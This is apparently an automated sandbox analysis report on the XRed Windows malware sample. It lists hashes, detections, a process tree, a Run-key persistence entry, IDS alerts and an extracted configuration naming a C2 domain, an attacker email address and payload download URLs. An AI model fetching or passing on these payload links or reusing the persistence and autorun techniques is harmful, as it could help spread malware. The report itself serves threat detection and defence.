Edit tour

Windows Analysis Report
ZmrwoZsbPp.exe

Overview

General Information

Sample name:	ZmrwoZsbPp.exe renamed because original name is a hash value
Original sample name:	385e9152c8a7fbf298cc12b319f0077e78ec9a1901adda0b4b9a48d23adc1370.exe
Analysis ID:	1569628
MD5:	803d6a88884f159f529566a156596e49
SHA1:	48cc2c11c3cbb7d6973b15eed838da61629f5614
SHA256:	385e9152c8a7fbf298cc12b319f0077e78ec9a1901adda0b4b9a48d23adc1370
Tags:	exeZorexuser-malrpt
Infos:

Detection

XRed

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XRed

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses dynamic DNS services

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

Queries the installation date of Windows

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

ZmrwoZsbPp.exe (PID: 6308 cmdline: "C:\Users\user\Desktop\ZmrwoZsbPp.exe" MD5: 803D6A88884F159F529566A156596E49)

._cache_ZmrwoZsbPp.exe (PID: 3020 cmdline: "C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe" MD5: 853A72D29F1B6BDF5B3CA6858E66BD7D)

Synaptics.exe (PID: 4632 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 5643B6B0642A78914B2CA1BD87F25732)

WerFault.exe (PID: 9608 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 21576 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 10000 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4632 -s 21576 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 5816 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 9784 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

Synaptics.exe (PID: 7484 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: 5643B6B0642A78914B2CA1BD87F25732)

cleanup

Malware Configuration

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ZmrwoZsbPp.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
ZmrwoZsbPp.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\Synaptics\RCXA37B.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXA37B.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\AIXACVYBSB\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\AIXACVYBSB\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Process Memory Space: ZmrwoZsbPp.exe PID: 6308	JoeSecurity_XRed	Yara detected XRed	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.ZmrwoZsbPp.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.ZmrwoZsbPp.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.246.63, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 5816, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49922

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.4, DestinationIsIpv6: false, DestinationPort: 49922, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 5816, Protocol: tcp, SourceIp: 13.107.246.63, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\ZmrwoZsbPp.exe, ProcessId: 6308, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 4632, TargetFilename: C:\Users\user\AppData\Local\Temp\1wyw8T59.xlsm

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T00:16:05.480384+0100	2028371	3	Unknown Traffic	192.168.2.4	49922	13.107.246.63	443	TCP
2024-12-06T00:16:12.988474+0100	2028371	3	Unknown Traffic	192.168.2.4	49967	13.107.246.63	443	TCP

ET MALWARE Snake Keylogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T00:15:02.991956+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49733	142.250.181.14	443	TCP
2024-12-06T00:15:02.996945+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49734	142.250.181.14	443	TCP
2024-12-06T00:15:05.609867+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49742	142.250.181.14	443	TCP
2024-12-06T00:15:05.624863+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49743	142.250.181.14	443	TCP
2024-12-06T00:15:09.057040+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49754	142.250.181.14	443	TCP
2024-12-06T00:15:09.091541+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49755	142.250.181.14	443	TCP
2024-12-06T00:15:12.937740+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49767	142.250.181.14	443	TCP
2024-12-06T00:15:13.032228+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49766	142.250.181.14	443	TCP
2024-12-06T00:15:15.539673+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49774	142.250.181.14	443	TCP
2024-12-06T00:15:15.772882+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49777	142.250.181.14	443	TCP
2024-12-06T00:15:18.660655+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49786	142.250.181.14	443	TCP
2024-12-06T00:15:18.667663+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49787	142.250.181.14	443	TCP
2024-12-06T00:15:21.359111+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49791	142.250.181.14	443	TCP
2024-12-06T00:15:21.416898+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49792	142.250.181.14	443	TCP
2024-12-06T00:15:24.367460+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49802	142.250.181.14	443	TCP
2024-12-06T00:15:24.382482+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49803	142.250.181.14	443	TCP
2024-12-06T00:15:28.386387+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49813	142.250.181.14	443	TCP
2024-12-06T00:15:28.392456+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49812	142.250.181.14	443	TCP
2024-12-06T00:15:31.099941+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49817	142.250.181.14	443	TCP
2024-12-06T00:15:31.104364+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49820	142.250.181.14	443	TCP
2024-12-06T00:15:34.080714+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49827	142.250.181.14	443	TCP
2024-12-06T00:15:34.098403+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49828	142.250.181.14	443	TCP
2024-12-06T00:15:38.067907+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49837	142.250.181.14	443	TCP
2024-12-06T00:15:38.174047+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49838	142.250.181.14	443	TCP
2024-12-06T00:15:42.082645+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49847	142.250.181.14	443	TCP
2024-12-06T00:15:42.084699+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49846	142.250.181.14	443	TCP
2024-12-06T00:15:44.677085+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49850	142.250.181.14	443	TCP
2024-12-06T00:15:44.801416+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49851	142.250.181.14	443	TCP
2024-12-06T00:15:47.809113+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49861	142.250.181.14	443	TCP
2024-12-06T00:15:47.827987+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49862	142.250.181.14	443	TCP
2024-12-06T00:15:51.973037+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49872	142.250.181.14	443	TCP
2024-12-06T00:15:51.983138+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49871	142.250.181.14	443	TCP
2024-12-06T00:15:54.581458+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49876	142.250.181.14	443	TCP
2024-12-06T00:15:54.681706+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49878	142.250.181.14	443	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-06T00:15:04.638460+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.4	49739	69.42.215.252	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ZmrwoZsbPp.exe	Avira: detected
Source: ZmrwoZsbPp.exe	Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\Documents\AIXACVYBSB\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\AIXACVYBSB\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\RCXA37B.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXA37B.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Found malware configuration

Source: ZmrwoZsbPp.exe

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

ReversingLabs: Detection: 92%

Multi AV Scanner detection for submitted file

Source: ZmrwoZsbPp.exe

ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.6% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Documents\AIXACVYBSB\~$cache1	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCXA37B.tmp	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ZmrwoZsbPp.exe

Joe Sandbox ML: detected

Source: ZmrwoZsbPp.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.14:443 -> 192.168.2.4:50065 version: TLS 1.2

Source: ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: ZmrwoZsbPp.exe, 00000000.00000000.1634249555.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: ZmrwoZsbPp.exe	Binary or memory string: [autorun]
Source: ZmrwoZsbPp.exe	Binary or memory string: [autorun]
Source: ZmrwoZsbPp.exe	Binary or memory string: autorun.inf
Source: ~$cache1.2.dr	Binary or memory string: [autorun]
Source: ~$cache1.2.dr	Binary or memory string: [autorun]
Source: ~$cache1.2.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: autorun.inf
Source: RCXA37B.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXA37B.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXA37B.tmp.0.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_004018F0 lstrcpyA,lstrcpyA,lstrlenA,FindFirstFileA,lstrcatA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindNextFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,	1_2_004018F0
Source: C:\Users\user\Desktop\._cache_ZmrwoZsbPp.exe	Code function: 1_2_00404380 FindWindowA,PostMessageA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,FindFirstFileA,SetFileAttributesA,DeleteFileA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrlenA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrlenA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrlenA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,lstrlenA,lstrcatA,lstrcatA,lstrcatA,FindFirstFileA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RegOpenKeyExA,lstrcpyA,RegQueryValueExA,lstrcatA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,FindFirstFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RegCloseKey,SHDeleteKeyA,SHDeleteKeyA,SHDeleteKeyA,SHDeleteKeyA,SHDeleteKeyA,SHDeleteKeyA,SHDeleteKeyA,RegOpenKeyExA,RegQueryValueExA,lstrcatA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,FindFirstFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RegCloseKey,RegOpenKeyExA,RegQueryValueExA,lstrcatA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,SetFileAttributesA,DeleteFileA,lstrcpyA,lstrcatA,FindFirstFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,lstrcpyA,lstrcatA,lstrcatA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RegCloseKey,	1_2_00404380
